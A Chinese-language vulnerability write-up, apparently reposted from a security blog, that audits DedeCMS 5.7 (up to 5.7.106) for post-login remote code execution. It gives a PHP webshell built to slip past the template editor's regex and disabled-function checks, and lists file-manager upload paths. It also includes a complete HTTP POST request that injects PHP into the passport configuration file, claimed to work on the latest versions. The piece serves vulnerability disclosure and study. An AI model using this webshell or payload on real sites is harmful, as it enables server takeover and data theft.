天天看點

DedecmsV5.7 RCE審計分析-3月版0day披露

作者:區塊軟體開發

請遵守法律法規,文章僅供安全防範與學習,嚴禁非法使用,後果自負。

簡介

織夢内容管理系統 (DedeCMS),采用XML名字空間風格核心模闆:模闆全部使用檔案形式儲存,對使用者設計模闆、網站更新轉移均提供很大的便利,健壯的模闆标簽為站長DIY自己的網站提供了強有力的支援。

影響版本

version<=5.7.106

環境搭建

php5.6.9+mysql5.6+apache

下載下傳位址

https://updatenew.dedecms.com/base-v57/package/patch-v57sp2&v57sp1&v57-20230223.zip

使用小皮部署,www目錄下放源碼,使用phpstrom進行動态調試即可

DedecmsV5.7 RCE審計分析-3月版0day披露

初始化資料庫配置安裝

DedecmsV5.7 RCE審計分析-3月版0day披露

安裝完成

DedecmsV5.7 RCE審計分析-3月版0day披露

RCE

rce-模闆檔案繞過正則實作rce

代碼位置

uploads/dede/article_string_mix.php

修改模闆檔案

<?php
$a = $GLOBALS["_GET"];
$b = $GLOBALS["_GET"];
$a['value1']($b['value2'])
?>
           

檔案存儲路徑

uploads/data/downmix.data.php
DedecmsV5.7 RCE審計分析-3月版0day披露

通路模闆檔案測試shell

DedecmsV5.7 RCE審計分析-3月版0day披露

分析

DedecmsV5.7 RCE審計分析-3月版0day披露

看到在29行的時候對檔案内容使用正規表達式進行了校驗

DedecmsV5.7 RCE審計分析-3月版0day披露

在31行到33行是對diasble的方法做了定義,循環是對檔案内容是否使用了disablefunction進行了校驗,如果傳入的内容含有disable的方法則傳回資訊DedeCMS提示:目前頁面中存在惡意代碼,當檔案内容為一句話

DedecmsV5.7 RCE審計分析-3月版0day披露

傳回資訊如下

DedecmsV5.7 RCE審計分析-3月版0day披露

無法繞過循環,當檔案内容為

<?php
$a = $GLOBALS["_GET"];
$b = $GLOBALS["_GET"];
$a['value1']($b['value2'])
?>
           

的時候這裡是可以繞過代碼後端的校驗内容,debug往下跟

DedecmsV5.7 RCE審計分析-3月版0day披露

在這裡對檔案内容做正則比對

DedecmsV5.7 RCE審計分析-3月版0day披露

繼續向下跟進直接寫入檔案了,導緻rce

DedecmsV5.7 RCE審計分析-3月版0day披露

是以這裡針對模闆檔案修改實作RCE的話,隻要繞過循環以及正則就可以實作,是以免殺馬的話就沒有問題。

檔案上傳RCE

/uploads/dede/file_manage_main.php 
/uploads/dede/file_manage_view.php?fmdo=newfile&activepath=%2Fuploads
/uploads/dede/file_manage_view.php?fmdo=upload&activepath=%2Fuploads
           
DedecmsV5.7 RCE審計分析-3月版0day披露

檢索ctrl+shift+f

DedecmsV5.7 RCE審計分析-3月版0day披露

rce-配置檔案實作rce

前端修改配置檔案導緻rce,這裡其實可以對比5.7的不同小版本,在106這個版本前後比較明顯,在106版本之前,根據fwrite()檢索

DedecmsV5.7 RCE審計分析-3月版0day披露

路徑uploads\dede\sys_info_mark.php,前端

DedecmsV5.7 RCE審計分析-3月版0day披露

修改配置直接寫入

DedecmsV5.7 RCE審計分析-3月版0day披露

配置檔案/mark/inc_photowatermark_config.php

DedecmsV5.7 RCE審計分析-3月版0day披露
DedecmsV5.7 RCE審計分析-3月版0day披露

這裡\被轉義為\\測試發現106之前的版本都是沒問題的。因為106版本在代碼位置多了轉義增加了一個反斜杠

DedecmsV5.7 RCE審計分析-3月版0day披露

在版本106以及107中,在參數配置檔案中同樣做了增加反斜杠的代碼部分,參數轉義後的參數值如下圖

DedecmsV5.7 RCE審計分析-3月版0day披露

在35行添加了反斜杠,但是在106版本之前依舊可以實作後端RCE

/dede/sys_info.php

在106版本之前,該位置無函數addslashes

DedecmsV5.7 RCE審計分析-3月版0day披露

是以在這裡直接修改配置參數

DedecmsV5.7 RCE審計分析-3月版0day披露

可直接實作rce

DedecmsV5.7 RCE審計分析-3月版0day披露
http://dedecms.org:9999/uploads/data/config.cache.inc.php
DedecmsV5.7 RCE審計分析-3月版0day披露

但是通行證配置的功能在106版以及最新的107版中并未使用addslashes()函數對參數值進行添加反斜杠,路徑為

/uploads/dede/sys_passport.php
DedecmsV5.7 RCE審計分析-3月版0day披露

中的代碼并未做任何加強以及更新檔,使用BC對比

DedecmsV5.7 RCE審計分析-3月版0day披露

兩端代碼一緻,使用payload進行debug分析

POST /uploads/dede/sys_passport.php HTTP/1.1
Host: dedecms.org:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
Origin: http://dedecms.org:9999
Connection: close
Referer: http://dedecms.org:9999/uploads/dede/sys_passport.php
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=eh4uq681vd4m4cpf0c1jv6q7td; _csrf_name_a20d95d7=9a1330d9413d7550843ea533405a9908; _csrf_name_a20d95d71BH21ANI1AGD297L1FF21LN02BGE1DNG=ec2abc545b3af7e5; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=1442494cd39124c2; DedeLoginTime=1680536871; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=941cc93ac807533a; XDEBUG_SESSION=XDEBUG_ECLIPSE
Upgrade-Insecure-Requests: 1

dopost=save&edit___cfg_pp_encode=FwCCr9938B&edit___cfg_pp_login=d&edit___cfg_pp_exit=t%5C&edit___cfg_pp_reg=%3Bphpinfo%28%29%3B%2F*&imageField.x=36&imageField.y=4
           
DedecmsV5.7 RCE審計分析-3月版0day披露

儲存成功echo後請求配置檔案

http://dedecms.org:9999/uploads/include/config_passport.php
DedecmsV5.7 RCE審計分析-3月版0day披露

這裡直接寫入一句話實作RCE即可。

在這裡其實對比在rce- 配置檔案實作rce開頭的位置路徑uploads\dede\sys_info_mark.php的分析可以發現這個位置在輸入參數内容存在反斜杠的時候因為函數stripslashes删掉了一個反斜杠,是以最終的配置檔案内容為

DedecmsV5.7 RCE審計分析-3月版0day披露

stripslashes()函數的作用

DedecmsV5.7 RCE審計分析-3月版0day披露

運作執行個體

DedecmsV5.7 RCE審計分析-3月版0day披露

小結

提供一些發散的思路吧,後端的RCE的利用基本都可以圍繞這兩點。

from https://sec-in.com/article/2167

繼續閱讀